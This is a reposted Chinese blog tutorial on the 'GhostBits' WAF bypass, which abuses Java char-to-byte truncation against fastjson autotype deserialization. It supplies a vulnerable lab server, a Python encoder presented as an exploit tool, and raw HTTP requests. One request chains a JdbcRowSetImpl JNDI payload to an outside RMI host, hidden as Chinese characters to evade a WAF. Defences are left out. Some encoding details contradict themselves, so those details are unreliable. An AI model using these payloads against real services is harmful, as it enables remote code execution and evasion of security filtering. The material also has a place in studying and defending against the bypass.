WAF绕过新姿势实战怎么用?

admin 2026-05-02 06:30:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了一种名为GhostBits的WAF绕过技术,利用Java中char转byte时高位静默丢弃的底层缺陷,通过Unicode字符(如中文)绕过WAF检测,后端执行时低8位还原为危险ASCII字符实现攻击。文章详细分析了技术原理,提供了fastjson环境下的实验步骤、绕过工具代码和实战HTTP请求示例,展示了如何利用该漏洞执行系统命令。 综合评分: 78 文章分类: WEB安全,漏洞分析,渗透测试,安全工具,漏洞POC


cover_image

WAF绕过新姿势实战怎么用?

IceCliffs IceCliffs

Gh0xE9

2026年4月30日 19:21 福建

在小说阅读器读本章

去阅读

接着水一篇,这两个都是最近比较有意思的漏洞,一个是应用层的,一个是系统层的,咱们一个一个来

Ghost Bits

这个中文叫做幽灵比特位,在 Black Hat Asia 2026 被 1ue 和 浅蓝 披露,其原理就是 Java 中 char 转 byte 时高位静默丢弃的底层缺陷,简单来说就是字节转换的问题,在 Java 中 char 为 16 位字节,byte 仅 8 位,如果我们把代码强制转换 (byte) ch 或 ch & 0xfffffff,则高 8 位直接丢失,只保留低 8 位,这脑洞能想出来也是真的牛逼,藏了这么久

攻击者用Unicode 字符(中文 / 特殊符号) 绕过 WAF 检测,后端执行时低 8 位还原为危险 ASCII:

  • • 陪(U+966A)→ 低 8 位 0x6A → j
  • • 阮(U+962E)→ 低 8 位 0x2E → .
  • • 瘍(U+760D)→ 低 8 位 0x0D → \r
  • • 瘊(U+760A)→ 低 8 位 0x0A → \n

WAF 看到中文,后端执行恶意代码,这就是幽灵比特位的核心,以汉字「爻」(U+2F58)为例:

爻  →  U+2F58  →  二进制:00101111 | 00111010
(byte) 转换后:高 8 位 0x2F 丢弃,低 8 位 0x3A → 'X'

影响算是特别大吧,很多场景都能 bypass

环境实验

笔者这里用的是 fastjson 1.2.83 (开启 autotype) + commons-collections4 (4.0),这里先打个基本的 calculator

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
publicclassBitsTest {
    publicstaticclassCalculator {
        publicCalculator()throws Exception {
            java.lang.Runtime.getRuntime().exec("open -a Calculator.app");
        }
    }
    publicstaticvoidmain(String[] args) {
        ParserConfig.getGlobalInstance().setSafeMode(false);
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        ParserConfig.getGlobalInstance().addAccept("BitsTest");
        Stringpayload="{\"@type\":\"BitsTest$Calculator\"}";
        Objectobj= JSON.parseObject(payload, Object.class);
    }
}

这里用某亭的 waf 测测看

image-20260430165953091

可以发现很容易就被拦了,平时还是得多培养一些钻研精神,如果当时挖的 rce 知道有这种绕过方法就好了,然后来看一下绕过方法,网上都有轮子,随便找个跑一下就行(别被投毒了),或者用我这个精简版的

exp

import urllib.parse
import sys
defget_payload_v2(cmd, base_offset=0x9600):
    ghost_str = "".join(chr(base_offset + ord(c)) for c in cmd)
    url_encoded = urllib.parse.quote(ghost_str.encode('utf-8'))
    unicode_escape = "".join(f"\\u{ord(c):04x}"for c in ghost_str)
    return ghost_str, url_encoded, unicode_escape
defmain():
    target_cmd = sys.argv[1] iflen(sys.argv) > 1else"@type"
    ghost_str, url_payload, uni_payload = get_payload_v2(target_cmd)
    print(target_cmd)
    print(ghost_str)
    print(url_payload)
    print(uni_payload)
if __name__ == "__main__":
    main()

实战绕过

这就很有意思了,waf 看见的只会认为这是一串合理的中文,完全不知道是一个 payload,所以绕过率还是挺高的,回到刚才那个场景,简单启动一个 http 服务,然后塞入 poc

GET /exploit?data=%7B%22癀type%22%3A%22BitsTest%24Calculator%22%7DHTTP/1.1
Host: localhost:8080
sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

实验环境代码如下

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.URLDecoder;
import java.util.HashMap;
import java.util.Map;
publicclassBitsTest {
    publicstaticclassCalculator {
        publicCalculator()throws Exception {
            Stringos= System.getProperty("os.name").toLowerCase();
            if (os.contains("win")) {
                Runtime.getRuntime().exec("calc");
            } elseif (os.contains("mac")) {
                Runtime.getRuntime().exec("open -a Calculator.app");
            } else {
                Runtime.getRuntime().exec("xcalc");
            }
        }
    }
    publicstaticvoidmain(String[] args)throws Exception {
        ParserConfig.getGlobalInstance().setSafeMode(false);
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        ParserConfig.getGlobalInstance().addAccept("BitsTest");
        intport=8080;
        HttpServerserver= HttpServer.create(newInetSocketAddress(port), 0);
        server.createContext("/exploit", newDynamicHandler());
        server.setExecutor(null);
        server.start();
    }
    staticclassDynamicHandlerimplementsHttpHandler {
        @Override
        publicvoidhandle(HttpExchange exchange)throws IOException {
            Stringquery= exchange.getRequestURI().getRawQuery();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Map<String, String> params = parseQuery(query);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Stringpayload=&nbsp;params.get("data");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String responseText;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(payload !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;StringdecodedPayload=&nbsp;URLDecoder.decode(payload,&nbsp;"UTF-8");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Objectobj=&nbsp;JSON.parse(decodedPayload);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(obj !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; responseText =&nbsp;"Success: "&nbsp;+ obj.getClass().getName();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; responseText =&nbsp;"Parsed result is null.";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; responseText =&nbsp;"Error: "&nbsp;+ e.toString();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; responseText =&nbsp;"Usage: ?data={payload}";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exchange.sendResponseHeaders(200, responseText.getBytes().length);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;OutputStreamos=&nbsp;exchange.getResponseBody();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; os.write(responseText.getBytes());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; os.close();
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;private&nbsp;Map<String, String>&nbsp;parseQuery(String query)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Map<String, String> result =&nbsp;newHashMap<>();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(query ==&nbsp;null)&nbsp;return&nbsp;result;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String[] pairs = query.split("&");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(String pair : pairs) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;intidx=&nbsp;pair.indexOf("=");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(idx != -1) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Stringkey=&nbsp;pair.substring(0, idx);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Stringvalue=&nbsp;pair.substring(idx +&nbsp;1);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result.put(key, value);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;result;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

你可以这样子发送

GET&nbsp;/exploit?data=%7B%22陀陴陹陰陥%22%3A%22BitsTest%24Calculator%22%7DHTTP/1.1
Host:&nbsp;localhost:8080
sec-ch-ua:&nbsp;"Not-A.Brand";v="24", "Chromium";v="146"
sec-ch-ua-mobile:&nbsp;?0
sec-ch-ua-platform:&nbsp;"macOS"
Accept-Language:&nbsp;zh-CN,zh;q=0.9
Upgrade-Insecure-Requests:&nbsp;1
User-Agent:&nbsp;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept:&nbsp;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site:&nbsp;none
Sec-Fetch-Mode:&nbsp;navigate
Sec-Fetch-User:&nbsp;?1
Sec-Fetch-Dest:&nbsp;document
Accept-Encoding:&nbsp;gzip, deflate, br
Connection:&nbsp;keep-alive

image-20260430183756442

还挺好玩的,试试看能不能绕 waf

GET&nbsp;/exploit?data=%7B%22%40type%22%3A%22BitsTest%24Calculator%22%2C%20%20%20%22b%22%3A%7B%0D%0A%20%20%20%20%20%20%20%20%22%40type%22%3A%22com%2Esun%2Erowset%2EJdbcRowSetImpl%22%2C%0D%0A%20%20%20%20%20%20%20%20%22dataSourceName%22%3A%22rmi%3A%2F%2Fnmsl%2Ecnm%3A9999%2FExploit%22%2C%0D%0A%20%20%20%20%20%20%20%20%22autoCommit%22%3Atrue%0D%0A%20%20%20%20%7D%7D&nbsp;HTTP/1.1
Host:&nbsp;192.168.50.88:13232
Accept-Language:&nbsp;zh-CN,zh;q=0.9
Upgrade-Insecure-Requests:&nbsp;1
User-Agent:&nbsp;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept:&nbsp;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding:&nbsp;gzip, deflate, br
Cookie:&nbsp;sl-session=BK/NXLCC9Gkvh8ePXxn3uQ==
Connection:&nbsp;keep-alive

image-20260430183923709

然后尝试中文绕过

GET&nbsp;/exploit?data=%7B%22%40type%22%3A%22BitsTest%24Calculator%22%2C%22b%22%3A%7B%22%40type%22%3A%22%E9%99%A3%E9%99%AF%E9%99%AD%E9%98%AE%E9%99%B3%E9%99%B5%E9%99%AE%E9%98%AE%E9%99%B2%E9%99%AF%E9%99%B7%E9%99%B3%E9%99%A5%E9%99%B4%E9%98%AE%E9%99%8A%E9%99%A4%E9%99%A2%E9%99%A3%E9%99%92%E9%99%AF%E9%99%B7%E9%99%93%E9%99%A5%E9%99%B4%E9%99%89%E9%99%AD%E9%99%B0%E9%99%AC%22%2C%22dataSourceName%22%3A%22%E9%99%B2%E9%99%AD%E9%99%A9%E9%98%BA%E9%98%AF%E9%98%AF%E9%99%AE%E9%99%AD%E9%99%B3%E9%99%AC%E9%98%AE%E9%99%A3%E9%99%AE%E9%99%AD%E9%98%BA%E9%98%B9%E9%98%B9%E9%98%B9%E9%98%B9%E9%98%AF%E9%99%85%E9%99%B8%E9%99%B0%E9%99%AC%E9%99%AF%E9%99%A9%E9%99%B4%22%2C%22autoCommit%22%3Atrue%7D%7D&nbsp;HTTP/1.1
Host:&nbsp;192.168.50.88:13232
Accept-Language:&nbsp;zh-CN,zh;q=0.9
Upgrade-Insecure-Requests:&nbsp;1
User-Agent:&nbsp;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept:&nbsp;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding:&nbsp;gzip, deflate, br
Cookie:&nbsp;sl-session=BK/NXLCC9Gkvh8ePXxn3uQ==
Connection:&nbsp;keep-alive

image-20260430184055495

如何防御

网上防御姿势都写了,这里我就不贴出来了,给大家一个 prompt 吧,用 ai 来分析就行

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Gh0xE9 IceCliffs IceCliffs《WAF绕过新姿势实战怎么用?》

评论:0   参与:  0